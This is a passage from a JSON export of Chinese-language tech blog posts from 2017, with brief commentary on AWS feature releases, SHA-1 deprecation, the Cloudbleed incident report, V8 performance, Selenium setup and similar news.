    "body": "前幾天提到的「<a href=\"https://blog.gslin.org/archives/2017/02/11/7118/ec2-%E7%9A%84-iam-role-%E5%8F%AF%E4%BB%A5%E5%8B%95%E6%85%8B%E6%94%B9%E4%BA%86/\">EC2 的 IAM Role 可以動態改了...</a>」在網頁上的 <a href=\"https://aws.amazon.com/console/\">AWS Management Console</a> 可以改了：「<a href=\"https://aws.amazon.com/blogs/security/easily-replace-or-attach-an-iam-role-to-an-existing-ec2-instance-by-using-the-ec2-console/\">Easily Replace or Attach an IAM Role to an Existing EC2 Instance by Using the EC2 Console</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/OGmfkIq.webp\" /><img src=\"https://i.gslin.com/imgur/OGmfkIq.jpg\" alt=\"\" /></picture>\r\n\r\n大賀 XDDD",
    "title": "AWS Management Console 可以修改 EC2 Role 了..."
  },
  {
    "id": "7141",
    "body": "<a href=\"https://www.plurk.com/\">Plurk</a> 的 API 之前一直都是走 HTTP，現在總算是要改 HTTPS 了，出自<a href=\"https://www.plurk.com/p/m3l8gp\">這邊</a>：\r\n\r\n<blockquote>有在用噗浪 API 開發程式的噗友們請注意～Plurk API 將於5月1日之後全面強制改用 HTTPS 更安全的通訊協定。如果您在這之後仍使用 HTTP 來呼叫 API，將會被 301 Moved Permanently 重導到 HTTPS 的版本，而這非常可能導致您原來的程式無法正常運作，請儘速更新您的程式喔～</blockquote>\r\n\r\n不過官網還沒強制切到 HTTPS 上...",
    "title": "Plurk 的 API 將在五月強制走 HTTPS"
  },
  {
    "id": "7142",
    "body": "在「<a href=\"https://eprint.iacr.org/2017/168\">AES-GCM-SIV: Specification and Analysis</a>」這邊看到 <a href=\"https://tools.ietf.org/html/draft-irtf-cfrg-gcmsiv-03\">AES-GCM-SIV</a> 的作者自己投稿上去的資料，是個已經被放進 <a href=\"https://boringssl.googlesource.com/boringssl/\">BoringSSL</a> 並且在 <a href=\"https://en.wikipedia.org/wiki/QUIC\">QUIC</a> 上使用的演算法：\r\n\r\n<blockquote>We remark that AES-GCM-SIV is already integrated into Google's BoringSSL library \\cite{BoringSSL}, and its deployment for ticket encryption in QUIC \\cite{QUIC} is underway.</blockquote>\r\n\r\n在 RFC 上的說明解釋了這個演算法的目的是希望當 nonce 沒有被正確實作時仍然可以有比 AES-<a href=\"https://en.wikipedia.org/wiki/Galois/Counter_Mode\">GCM</a> 強的保護：\r\n\r\n<blockquote>This memo specifies two authenticated encryption algorithms that are nonce misuse-resistant - that is that they do not fail catastrophically if a nonce is repeated.</blockquote>\r\n\r\n在 128 bits 的情況下，加密的速度大約是 AES-GCM 的 2/3 (在都有硬體加速的情況下)，但解密的速度則與 AES-GCM 相當：\r\n\r\n<blockquote>For encryption, it is slower than AES-GCM, because achieving nonce-misuse resistance requires, by definition, two (serialized) passes over the data.  Nevertheless, optimized implementations run GCM-SIV (for 128-bit keys) at less than one cycle per byte on modern processors (roughly 2/3 of the speed of nonce-respecting AES-GCM).  On the other hand, GCM-SIV decryption runs at almost the same speed as AES-GCM.</blockquote>\r\n\r\n不過這就是 trade-off 了，如果 nonce 有正確被實作的話，其實不需要這個...",
    "title": "AES-GCM-SIV"
  },
  {
    "id": "7143",
    "body": "隔壁棚剛順利打趴 <a href=\"https://en.wikipedia.org/wiki/SHA-1\">SHA-1</a> (<a href=\"https://blog.gslin.org/archives/2017/02/23/7139/google-%E8%88%87-cwi-amsterdam-%E5%90%88%E4%BD%9C%EF%BC%8C%E6%89%BE%E5%88%B0-sha-1-%E7%AC%AC%E4%B8%80%E5%80%8B-collision/\">Google 與 CWI Amsterdam 合作，找到 SHA-1 第一個 collision</a>)，還是有人在針對比較新的演算法在攻擊：「<a href=\"https://eprint.iacr.org/2017/165\">SymSum: Symmetric-Sum Distinguishers Against Round Reduced SHA3</a>」。\r\n\r\n完整的 SHA-3 是 24 rounds，這次打的是 9 rounds 版本，雖然有段距離，但這等於是大進展：\r\n\r\n<blockquote>Based on this we propose a new distinguisher called SymSum for the SHA3 family which penetrates up to 9 rounds and outperforms the ZeroSum distinguisher by a factor of four.</blockquote>\r\n\r\n不過 SHA-3 用的人不算多，該不會在還沒成為主流就被打趴...",
    "title": "對 SHA-3 的攻擊"
  },
  {
    "id": "7144",
    "body": "<a href=\"https://aws.amazon.com/ec2/\">Amazon EC2</a> 推出使用 NVMe SSD 的機器，I3 系列：「<a href=\"https://aws.amazon.com/blogs/aws/now-available-i3-instances-for-demanding-io-intensive-applications/\">Now Available – I3 Instances for Demanding, I/O Intensive Applications</a>」。\r\n\r\n以東京區的價錢來看，r4.16xlarge 與 i3.16xlarge 都是 64 vCPU 與 488GB RAM。不一樣的地方只有兩個：\r\n\r\n<ul>\r\n\t<li>第一個是 r4 只有 195 vCPU，而 i3 有 200 vCPU，快了一些。</li>\r\n\t<li>第二個是 i3 多了 8 個 1900 NVMe SSD。</li>\r\n</ul>\r\n\r\n但價錢卻只差一些 ($5.12/hr 與 $5.856/hr)，如果速度可以善用 SSD 的話，跟 r4.* 比起來其實頗超值的...",
    "title": "Amazon EC2 推出 I3 系列機器"
  },
  {
    "id": "7145",
    "body": "把之前兩個不一樣的 PDF (但是 <a href=\"https://en.wikipedia.org/wiki/SHA-1\">SHA-1</a> 一樣) 塞到 <a href=\"https://git-scm.com/\">Git</a> 裡面，然後其他程式發現問題而炸掉了 XDDD\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"en\" dir=\"ltr\">hahahahahahahahahahahaha they added a test for the shattered.io vuln to webkit and it broke git :-) <a href=\"https://t.co/GGvbYYAvf8\">https://t.co/GGvbYYAvf8</a> <a href=\"https://t.co/lPNptlFeH5\">pic.twitter.com/lPNptlFeH5</a></p>&mdash; Andy Wingo (@andywingo) <a href=\"https://twitter.com/andywingo/status/835132154749272064\">February 24, 2017</a></blockquote>\r\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>",
    "title": "SHA-1 插曲..."
  },
  {
    "id": "7146",
    "body": "順著 <a href=\"https://en.wikipedia.org/wiki/SHA-1\">SHA-1</a> 正式被打穿，<a href=\"https://www.mozilla.org/\">Mozilla</a> 也正式宣佈從下一個版本的 <a href=\"https://www.mozilla.org/firefox/\">Firefox</a> 將完全關閉 SHA-1 支援 (看敘述應該還是可以透過 <code>about:config</code> 開)：「<a href=\"https://blog.mozilla.org/security/2017/02/23/the-end-of-sha-1-on-the-public-web/\">The end of SHA-1 on the Public Web</a>」。\r\n\r\n<blockquote>As announced last fall, we’ve been disabling SHA-1 for increasing numbers of Firefox users since the release of Firefox 51 using a gradual phase-in technique. Tomorrow, this deprecation policy will reach all Firefox users. It is enabled by default in Firefox 52.</blockquote>\r\n\r\n大家都開始有動作了...",
    "title": "Firefox 下一個版本 (52) 將預設關閉 SHA-1 支援"
  },
  {
    "id": "7147",
    "body": "<a href=\"https://www.cloudflare.com/\">Cloudflare</a> 把完整的時間軸與影響範圍都列出來了：「<a href=\"https://blog.cloudflare.com/incident-report-on-memory-leak-caused-by-cloudflare-parser-bug/\">Incident report on memory leak caused by Cloudflare parser bug</a>」。\r\n\r\n出自於 2/18 時 <a href=\"https://www.google.com/\">Google</a> 的 <a href=\"https://en.wikipedia.org/wiki/Tavis_Ormandy\">Tavis Ormandy</a> 直接在 <a href=\"https://twitter.com/\">Twitter</a> 上找 Cloudflare 的人：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"en\" dir=\"ltr\">Could someone from cloudflare security urgently contact me.</p>&mdash; Tavis Ormandy (@taviso) <a href=\"https://twitter.com/taviso/status/832744397800214528\">February 18, 2017</a></blockquote>\r\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\nGoogle 的 <a href=\"https://googleprojectzero.blogspot.com/\">Project Zero</a> 上的資料：「<a href=\"https://bugs.chromium.org/p/project-zero/issues/detail?id=1139\">cloudflare: Cloudflare Reverse Proxies are Dumping Uninitialized Memory</a>」。\r\n\r\n起因在於 bug 造成有時候會送出不應該送的東西，可能包含了敏感資料：\r\n\r\n<blockquote>It turned out that in some unusual circumstances, which I’ll detail below, our edge servers were running past the end of a buffer and returning memory that contained private information such as HTTP cookies, authentication tokens, HTTP POST bodies, and other sensitive data.</blockquote>\r\n\r\n不過這邊不包括 SSL 的 key，主要是因為隔離開了：\r\n\r\n<blockquote>For the avoidance of doubt, Cloudflare customer SSL private keys were not leaked. Cloudflare has always terminated SSL connections through an isolated instance of NGINX that was not affected by this bug.</blockquote>\r\n\r\n不過由於這些敏感資料甚至還被 Google 收進 search engine，算是相當的嚴重，所以不只是 Cloudflare 得修好這個問題，還得跟眾多的 search engine 合作將這些資料移除：\r\n\r\n<blockquote>Because of the seriousness of such a bug, a cross-functional team from software engineering, infosec and operations formed in San Francisco and London to fully understand the underlying cause, to understand the effect of the memory leakage, and to work with Google and other search engines to remove any cached HTTP responses.</blockquote>\r\n\r\nbug 影響的時間從 2016/09/22 開始：\r\n\r\n<blockquote>2016-09-22 Automatic HTTP Rewrites enabled \r\n2017-01-30 Server-Side Excludes migrated to new parser \r\n2017-02-13 Email Obfuscation partially migrated to new parser \r\n2017-02-18 Google reports problem to Cloudflare and leak is stopped</blockquote>\r\n\r\n而以 2/13 到 2/18 的流量反推估算，大約是 0.00003% 的 request 會可能產生這樣的問題：\r\n\r\n<blockquote>The greatest period of impact was from February 13 and February 18 with around 1 in every 3,300,000 HTTP requests through Cloudflare potentially resulting in memory leakage (that’s about 0.00003% of requests).</blockquote>\r\n\r\n不過不得不說 Tavis Ormandy 真的很硬，在沒有 source code 以及 Cloudflare 幫助的情況下直接打出可重製的步驟：\r\n\r\n<blockquote>I worked with cloudflare over the weekend to help clean up where I could. I've verified that the original reproduction steps I sent cloudflare no longer work.</blockquote>\r\n\r\n事發後完整的時間軸：\r\n\r\n<blockquote>2017-02-18 0011 Tweet from Tavis Ormandy asking for Cloudflare contact information \r\n2017-02-18 0032 Cloudflare receives details of bug from Google \r\n2017-02-18 0040 Cross functional team assembles in San Francisco \r\n2017-02-18 0119 Email Obfuscation disabled worldwide \r\n2017-02-18 0122 London team joins \r\n2017-02-18 0424 Automatic HTTPS Rewrites disabled worldwide \r\n2017-02-18 0722 Patch implementing kill switch for cf-html parser deployed worldwide\r\n2017-02-20 2159 SAFE_CHAR fix deployed globally\r\n2017-02-21 1803 Automatic HTTPS Rewrites, Server-Side Excludes and Email Obfuscation re-enabled worldwide</blockquote>\r\n\r\n另外在「<a href=\"https://github.com/pirate/sites-using-cloudflare\">List of Sites possibly affected by Cloudflare's #Cloudbleed HTTPS Traffic Leak</a>」這邊有人整理出受影響的大站台有哪些 (小站台就沒列上去了)。 ",
    "title": "Cloudbleed：Cloudflare 這次的安全問題"
  },
  {
    "id": "7150",
    "body": "在 console 上發現不見了，跑去 forum 上看看是不是有其他人遇到同樣的問題，結果發現被拔掉了：「<a href=\"https://forums.aws.amazon.com/thread.jspa?threadID=250071\">Attach IAM Role to existing EC2 instance in console not available</a>」。\r\n\r\n<blockquote>On Friday, Feb 24th, we were made aware that under certain conditions, the feature was not working for customers using the EC2 console. As a result, we have temporarily removed this capability from the EC2 console, but we will enable this feature when this issue has been resolved.</blockquote>\r\n\r\nOuch... 只好先用 CLI 了...",
    "title": "結果 AWS Console 對 EC2 的 IAM Role 被拔掉了..."
  },
  {
    "id": "7151",
    "body": "這消息傳遍了整個科技界：「<a href=\"http://venturebeat.com/2017/02/13/hmd-global-will-launch-the-nokia-3-5-and-6-at-mwc-plus-a-3310-homage/\">HMD Global will launch the Nokia 3, 5, and 6 at MWC, plus a 3310 homage</a>」，不過一個最大的問題是只支援 2.5G：(出自「<a href=\"https://en.wikipedia.org/wiki/Nokia_3310_(2017)\">Nokia 3310 (2017)</a>」)\r\n\r\n<blockquote>The phone only runs on 2.5G at the time of launch, which has subjected the phone to criticism, and means that it will not initially be released in many countries, including Australia, which is switching its 2G mobile network off.</blockquote>\r\n\r\n這種賣感情的東西，連任天堂都知道復刻時要加上 HDMI 了 (參考 <a href=\"https://en.wikipedia.org/wiki/NES_Classic_Edition\">NES Classic Edition</a>)，<a href=\"https://www.nokia.com/\">Nokia</a> 你在想什麼...\r\n\r\n<img src=\"https://i.gslin.com/imgur/xd3J5Bw.jpg\" alt=\"\" />\r\n<small>出自「<a href=\"https://www.youtube.com/watch?v=9QbiM39aj6A\">iPhone 7 Nokia 3310 Hammer Test! Will it Survive?</a>」</small>",
    "title": "Nokia 3310 的復出..."
  },
  {
    "id": "7152",
    "body": "在這邊看到 <a href=\"http://www.willus.com/k2pdfopt/\">K2pdfopt</a> 這個工具：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"zh\" dir=\"ltr\">通过 Google 找到了这个开源的 PDF 重排版工具 K2pdfopt <a href=\"https://t.co/Bw1oVOnMyW\">https://t.co/Bw1oVOnMyW</a> ，即使多列内容或者含大量数学公式，重排后在 Kindle 阅读效果也很好。<br>虽然重排后可能导致文件增大，但阅读更流畅了（减轻了 Kindle 的处理负担）。 <a href=\"https://t.co/Sgj8X4NfQc\">https://t.co/Sgj8X4NfQc</a></p>&mdash; handongxue (@likev) <a href=\"https://twitter.com/likev/status/835347582096269314\">February 25, 2017</a></blockquote>\r\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n之後把一些 PDF 轉進 Kindle Paperwhite 看看效果，不然看 PDF 看得好痛苦 XD",
    "title": "在 Kindle 上讓 PDF 變得更容易看的工具"
  },
  {
    "id": "7153",
    "body": "在「<a href=\"https://githubengineering.com/crypto-deprecation-notice/\">Discontinue support for weak cryptographic standards</a>」這邊訂了日期，2018/02/01 將會關閉：\r\n\r\n<ul>\r\n\t<li>HTTPS 的 <a href=\"https://tools.ietf.org/html/rfc2246\">TLSv1</a> 與 <a href=\"https://tools.ietf.org/html/rfc4346\">TLSv1.1</a></li>\r\n\t<li>SSH 的 <a href=\"https://www.openssh.com/legacy.html\">diffie-hellman-group1-sha1</a></li>\r\n\t<li>SSH 的 <a href=\"https://www.openssh.com/legacy.html\">diffie-hellman-group14-sha1</a></li>\r\n</ul>\r\n\r\n看起來最苦的應該是 <a href=\"https://www.android.com/\">Android</a> 4.3 以及更早的版本，以現在的官方數字來看還有 13%+ (<a href=\"https://developer.android.com/about/dashboards/index.html\">Dashboards</a>)，這些版本內建的瀏覽器不支援 TLSv1.2，不過另外裝 browser 就還能過...",
    "title": "GitHub 決定在 2018/02/01 停用不安全的 HTTPS/SSH 演算法"
  },
  {
    "id": "7155",
    "body": "<a href=\"https://aws.amazon.com/dynamodb/\">DynamoDB</a> 推出了依照時間自動刪除的功能：「<a href=\"https://aws.amazon.com/blogs/aws/new-manage-dynamodb-items-using-time-to-live-ttl/\">New – Manage DynamoDB Items Using Time to Live (TTL)</a>」。\r\n\r\n<blockquote>You can enable this feature on a table-by-table basis, specifying an item attribute that contains the expiration time for the item.</blockquote>\r\n\r\n這個功能比較特別的是，刪除的 scan 是不收取費用的：\r\n\r\n<blockquote>There is no charge for the internal scan operation or for the deletion. You will pay for storage until the item is actually deleted.</blockquote>",
    "title": "DynamoDB 推出 TTL 功能"
  },
  {
    "id": "7156",
    "body": "在「<a href=\"https://blog.gslin.org/archives/2016/12/12/7028/aws-organizations%EF%BC%9A%E5%A4%9A%E5%B8%B3%E8%99%9F%E7%9A%84%E7%AE%A1%E7%90%86/\">AWS Organizations：多帳號的管理</a>」這邊提到 <a href=\"https://aws.amazon.com/organizations/\">AWS Organizations</a>，當時都還是 preview，現在變成 GA 開放給大家用了：「<a href=\"https://aws.amazon.com/blogs/aws/aws-organizations-policy-based-management-for-multiple-aws-accounts/\">AWS Organizations – Policy-Based Management for Multiple AWS Accounts</a>」。\r\n\r\n如果因為很多專案而開不同的 <a href=\"https://aws.amazon.com/\">AWS</a> 帳號時，帳號的管理就會變得超麻煩，現在可以用 AWS 提供的方案來管了：\r\n\r\n<img src=\"https://blog.gslin.org/wp-content/uploads/2017/03/org_main_1.png\" alt=\"\" width=\"810\" height=\"531\" class=\"alignnone size-full wp-image-7157\" />\r\n\r\n晚點來用看看，看可以省多少功夫 :o",
    "title": "AWS Organizations 正式開放一般使用"
  },
  {
    "id": "7158",
    "body": "<a href=\"https://www.raspberrypi.org/products/pi-zero/\">Raspberry Pi Zero</a> 本來是沒有網路功能的，對於 IoT 應用有點綁手綁腳，現在則出了加上無線網路與藍牙的版本，Zero W：「<a href=\"https://www.raspberrypi.org/blog/raspberry-pi-zero-w-joins-family/\">New product! Raspberry Pi Zero W joins the family</a>」。\r\n\r\n<img src=\"https://i.gslin.com/imgur/VM8SHn0.jpg\" alt=\"\" />\r\n\r\n本來的 Zero 是 USD$5，有無線網路與藍牙的 Zero W 要 $10，然後也有出專用的殼：\r\n\r\n<img src=\"https://i.gslin.com/imgur/3T7ucrn.jpg\" alt=\"\" />\r\n\r\n這樣應用好像多了一些...",
    "title": "Raspberry Pi Zero 新增了對外的無線網路與藍牙..."
  },
  {
    "id": "7159",
    "body": "<a href=\"https://developers.google.com/v8/\">V8</a> 引擎的人對 <code>for</code>-<code>in</code> 的最佳化寫了一篇解釋「<a href=\"https://v8project.blogspot.com/2017/03/fast-for-in-in-v8.html\">Fast For-In in V8</a>」，比較直接的結果就是<a href=\"https://www.wikipedia.org/\">維基百科</a>與 <a href=\"https://www.facebook.com/\">Facebook</a> 都變快了：\r\n\r\n<blockquote>For example, in early 2016 Facebook spent roughly 7% of its total JavaScript time during startup in the implementation of for-in itself. On Wikipedia this number was even higher at around 8%.</blockquote>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/nnNt5BZ.webp\" /><img src=\"https://i.gslin.com/imgur/nnNt5BZ.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/awAsFjY.webp\" /><img src=\"https://i.gslin.com/imgur/awAsFjY.jpg\" alt=\"\" /></picture>\r\n\r\n可以看得出來是挑比較大的來改，而下一版的 Google Chrome (57) 將會對 <code>for</code>-<code>in</code> 會到另外一個極致：\r\n\r\n<blockquote>The most important for-in helpers are at position 5 and 17, accounting for an average of 0.7% percent of the total time spent in scripting on a website. In Chrome 57 ForInEnumerate has dropped to 0.2% of the total time and ForInFilter is below the measuring threshold due to a fast path written in assembler.</blockquote>\r\n\r\n主要是因為 spec 對 <code>for</code>-<code>in</code> 的定義寫得很模糊，所以就有很多實作的空間可以調整：\r\n\r\n<blockquote>When we look at the spec-text of for-in, it’s written in an unexpectedly fuzzy way,which is observable across different implementations.</blockquote>",
    "title": "V8 對 for-in 的最佳化"
  },
  {
    "id": "7160",
    "body": "<a href=\"https://aws.amazon.com/directconnect/\">AWS Direct Connect</a> 支援 Link Aggregation Group (LAG)，將多條線路綁在一起了：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2017/02/aws-direct-connect-enables-link-aggregation-group-for-additional-aws-regions/\">AWS Direct Connect enables Link Aggregation Group for additional AWS regions</a>」。\r\n\r\n<blockquote>We are excited to announce support for 1G and 10G Link Aggregation Groups (LAG). Customers in AWS GovCloud (US), Europe (Frankfurt), Europe (London), Europe (Ireland), Asia Pacific (Tokyo), Asia Pacific (Singapore), Asia Pacific (Sydney) regions can start using LAG to link existing connections on the same AWS device, or request new connections.</blockquote>\r\n\r\n主要還是對於超大量的用戶會變方便 (都是使用 10Gbps 線路接上去的使用者)，尤其是 load balancing 這塊會好做不少。\r\n\r\n多條 1Gbps 的當然也是有幫助，不過剛好只會落在一個微妙的範圍 (到 8Gbps 的時候，直接換 10Gbps 成本說不定其實差不多...)。",
    "title": "AWS Direct Connect 可以多條線路綁在一起用了"
  },
  {
    "id": "7161",
    "body": "<a href=\"https://www.youtube.com/\">YouTube</a> 推出 <a href=\"https://tv.youtube.com/\">YouTube TV</a> 服務：「<a href=\"https://youtube.googleblog.com/2017/02/finally-live-tv-made-for-you.html\">Finally, live TV made for you</a>」。\r\n\r\n直接打了幾個大頻道，尤其是運動類的頻道：\r\n\r\n<blockquote>Live TV streaming from ABC, CBS, FOX, NBC, ESPN, regional sports networks and dozens of popular cable networks.</blockquote>\r\n\r\n比較完整的頻道資訊可以參考這張：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/miSqJnF.webp\" /><img src=\"https://i.gslin.com/imgur/miSqJnF.jpg\" alt=\"\" /></picture>\r\n\r\n可以錄影：\r\n\r\n<blockquote>A cloud DVR, with no storage limits.</blockquote>\r\n\r\n跨電腦、平板與手機：\r\n\r\n<blockquote>A service that works great on all your screens.</blockquote>\r\n\r\n價錢也只有目前常態性的一半 (相較於買比較完整的 cable 方案)，USD$35/month，而且不用簽長期合約：\r\n\r\n<blockquote>Half the cost of cable with zero commitments. A YouTube TV membership is only $35 a month and there are no commitments—you can cancel anytime.</blockquote>\r\n\r\n這的確有殺傷性了... 加上 YouTube 的需求所累積的頻寬，應該會比起 <a href=\"https://www.netflix.com/\">Netflix</a> 當時遇到的問題少？",
    "title": "YouTube 開始與內容商合作，推出 YouTube TV 服務"
  },
  {
    "id": "7162",
    "body": "「<a href=\"https://ablagoev.github.io/linux/adventures/commands/2017/02/19/adventures-in-usr-bin.html\">Adventures in /usr/bin and the likes</a>」這篇介紹了 <code>/usr/bin</code> 的各種工具。即使是在 <a href=\"https://www.freebsd.org/\">FreeBSD</a> 與 <a href=\"https://www.linux.com/\">Linux</a> 下面混了許多年，還是看到了不少好用的工具，值得慶幸的是，至少有一個章節 (Misc) 還算熟悉...\r\n\r\nOS 的 <a href=\"http://manpages.ubuntu.com/manpages/zesty/man1/chrt.1.html\">chrt</a> 與 <a href=\"http://manpages.ubuntu.com/manpages/wily/man1/taskset.1.html\">taskset</a> 看起來再壓榨效能的時候應該可以拿出來用。用 \r\n<a href=\"http://manpages.ubuntu.com/manpages/xenial/man1/peekfd.1.html\">peekfd</a> 不如記 <a href=\"https://en.wikipedia.org/wiki/Strace\">strace</a> 比較萬用...\r\n\r\nDebugging 的 <a href=\"http://manpages.ubuntu.com/manpages/precise/man1/addr2line.1.html\">addr2line</a> 則是學到了一招，對於還是 segfault 看起來應該會很有用...\r\n\r\n後面 Data Manipulation 的部份其實都很值得再拿出來看，尤其是這一章的東西，沒在用常常會忘記...",
    "title": "/usr/bin 下的工具介紹"
  },
  {
    "id": "7163",
    "body": "最近可能會用到，所以開了一台 EC2 instance 跑 <a href=\"http://releases.ubuntu.com/16.04/\">Ubuntu 16.04</a> 測試 <a href=\"http://www.seleniumhq.org/\">Selenium</a>。拿 <a href=\"https://www.google.com/chrome/\">Chrome</a> 與 <a href=\"https://www.mozilla.org/firefox/\">Firefox</a>，<a href=\"https://www.linux.com/\">Linux</a> 平台上兩個主要的瀏覽器。\r\n\r\n要讓他動還蠻簡單的，只是不知道真的用下去後，後面會遇到多少地雷 XDDD\r\n\r\n基本上是按照「<a href=\"https://christopher.su/2015/selenium-chromedriver-ubuntu/\">Installing Selenium and ChromeDriver on Ubuntu</a>」這篇文章的方法安裝，有幾點可以注意一下：\r\n\r\n<ul>\r\n\t<li><a href=\"https://sites.google.com/a/chromium.org/chromedriver/\">ChromeDriver</a> 可以翻一下最新版，文件上寫的是 2.26，但現在最新的是 2.27 (寫這篇時)。</li>\r\n\t<li>雖然寫「(Optional) Create and enter a virtual environment」表示可以不做，但不做其實不會動 (看錯誤訊息像是要建立目錄時權限不夠)，所以乖乖的用 virtual environment 裝在自己目錄下吧 XDDD</li>\r\n</ul>\r\n\r\n同理，Firefox 用 <a href=\"https://en.wikipedia.org/wiki/Advanced_Packaging_Tool\">APT</a> 裝 <code>firefox</code> 套件後，再去抓 <a href=\"https://github.com/mozilla/geckodriver\">geckodriver</a> 回來裝。一樣是照文章裡 chromedriver 的方式放，並且設定連結。\r\n\r\n原文 <a href=\"https://www.python.org/\">Python</a> 程式裡本來的 <code>driver = webdriver.Chrome()</code> 改成 <code>driver = webdriver.Firefox()</code> 就 ok 了。\r\n\r\n這樣手上又多了一些東西可以用...",
    "title": "在 Ubuntu 上跑 Selenium (Google Chrome 與 Firefox)"
  },
  {
    "id": "7164",
    "body": "起因於一台 ap-northeast-1 的機器 (東京) 會使用 us-west-2 的 <a href=\"https://aws.amazon.com/ses/\">SES</a> (美西，奧勒岡)，然後發現信延遲的有點嚴重，看 mail log 發現是因為連線 timeout。\r\n\r\n查了以後發現在「<a href=\"https://docs.aws.amazon.com/ses/latest/DeveloperGuide/smtp-issues.html\">Amazon SES SMTP Issues</a>」這邊就有提到 EC2 instance 對 port 25 有限制：\r\n\r\n<blockquote>You are sending to Amazon SES from an Amazon EC2 instance via port 25 and you cannot reach your Amazon SES sending limits or you are receiving time outs—Amazon EC2 imposes default sending limits on email sent via port 25 and throttles outbound connections if you attempt to exceed those limits. To remove these limits, submit an Amazon EC2 Request to Remove Email Sending Limitations. You can also connect to Amazon SES via port 465 or port 587, neither of which is throttled.</blockquote>\r\n\r\n按照建議，直接走 port 587 就可以解決，另外一個方法是開 support ticket 請 <a href=\"https://aws.amazon.com/\">AWS</a> 解除：「<a href=\"https://aws.amazon.com/premiumsupport/knowledge-center/ec2-port-25-throttle/\">How do I remove the throttle on port 25 from my EC2 instance?</a>」。\r\n\r\n<blockquote>Amazon EC2 throttles traffic on port 25 of all EC2 instances by default, but you can request that this throttle be removed for your instance at Request to Remove Email Sending Limitations (you must sign in with your root account credentials). Provide a description of your use case for sending email, and then choose Submit.</blockquote>\r\n\r\n還是改走 port 587 比較簡單一點...",
    "title": "Amazon EC2 會對 Port 25 的連線數量限制"
  },
  {
    "id": "7165",
    "body": "在 <a href=\"https://twitter.com/\">Twitter</a> 上看到這個：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"en\" dir=\"ltr\">A shocking formula to calculate any digit of Pi without having to know any preceding digits. <a href=\"https://t.co/bcZ7h9pMpZ\">https://t.co/bcZ7h9pMpZ</a> <a href=\"https://t.co/bW9UIv7vL5\">pic.twitter.com/bW9UIv7vL5</a></p>&mdash; Cliff Pickover (@pickover) <a href=\"https://twitter.com/pickover/status/837782789286166530\">March 3, 2017</a></blockquote>\r\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n利用這個公式 (<a href=\"https://en.wikipedia.org/wiki/Bailey%E2%80%93Borwein%E2%80%93Plouffe_formula\">Bailey–Borwein–Plouffe formula</a>)，可以直接對二進位 (四進位、八進位、十六進位、...) 直接計算出某個位數的值...",
    "title": "計算圓周率 Pi 的公式..."
  },
  {
    "id": "7166",
    "body": "把 <a href=\"https://en.wikipedia.org/wiki/HDFS\">HDFS</a> 的效能瓶頸 metadata server 的資料改到 <a href=\"https://en.wikipedia.org/wiki/NewSQL\">NewSQL</a> 上使得效能大幅提昇：「<a href=\"https://www.usenix.org/conference/fast17/technical-sessions/presentation/niazi\">HopsFS: Scaling Hierarchical File System Metadata Using NewSQL Databases</a>」。\r\n\r\n<blockquote>In this paper, we introduce HopsFS, a next generation distribution of the Hadoop Distributed File System (HDFS) that replaces HDFS’ single node in-memory metadata service, with a distributed metadata service built on a NewSQL database.</blockquote>\r\n\r\n尤其是在 <a href=\"https://www.spotify.com/\">Spotify</a> 的測試，有 16～37 倍的改善 (應該是指碰到 HDFS 時的這塊，像是從外部拉到 HDFS 上的分析，而非整體的效率改善)：\r\n\r\n<blockquote>Metadata capacity has been increased to at least 37 times HDFS’ capacity, and in experiments based on a workload trace from Spotify, we show that HopsFS supports 16 to 37 times the throughput of Apache HDFS.</blockquote>\r\n\r\n論文裡面有提到用的是 <a href=\"https://www.mysql.com/products/cluster/\">MySQL Cluster</a> 的 NDB (in-memory)：\r\n\r\n<blockquote>HopsFS stores all metadata normalized in a highly available, in-memory, distributed, relational database called Network Database (NDB), a NewSQL storage engine for MySQL Cluster.</blockquote>\r\n\r\n這樣應該會讓 <a href=\"https://hadoop.apache.org/\">Hadoop</a> 的人有改善方向...",
    "title": "把 HDFS 的 metadata 丟上 NewSQL"
  },
  {
    "id": "7167",
    "body": "就是「以子之矛，攻子之盾」的概念，用 <a href=\"https://cloud.google.com/speech/\">Speech Recognition API</a> 破 <a href=\"https://www.google.com/recaptcha/\">reCAPTCHA</a>：「<a href=\"https://east-ee.com/2017/02/28/rebreakcaptcha-breaking-googles-recaptcha-v2-using-google/\">ReBreakCaptcha: Breaking Google’s ReCaptcha v2 using.. Google</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/GKZiUCl.webp\" /><img src=\"https://i.gslin.com/imgur/GKZiUCl.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/a7u3mMS.webp\" /><img src=\"https://i.gslin.com/imgur/a7u3mMS.jpg\" alt=\"\" /></picture>\r\n\r\n就算 <a href=\"https://www.google.com/\">Google</a> 在 reCAPTCHA 的聲音裡面加入 watermark，讓自家的 Speech Recognition API 拒絕分析，還是有其他家的可以用 (像是 <a href=\"https://aws.amazon.com/lex/\">Amazon Lex</a> 或是 <a href=\"https://www.microsoft.com/cognitive-services/en-us/speech-api\">Bing Speech API</a>)，所以這樣做不是什麼好解法。",
    "title": "用 Google 的 Speech Recognition API 破 Google 的 reCAPTCHA"
  },
  {
    "id": "7168",
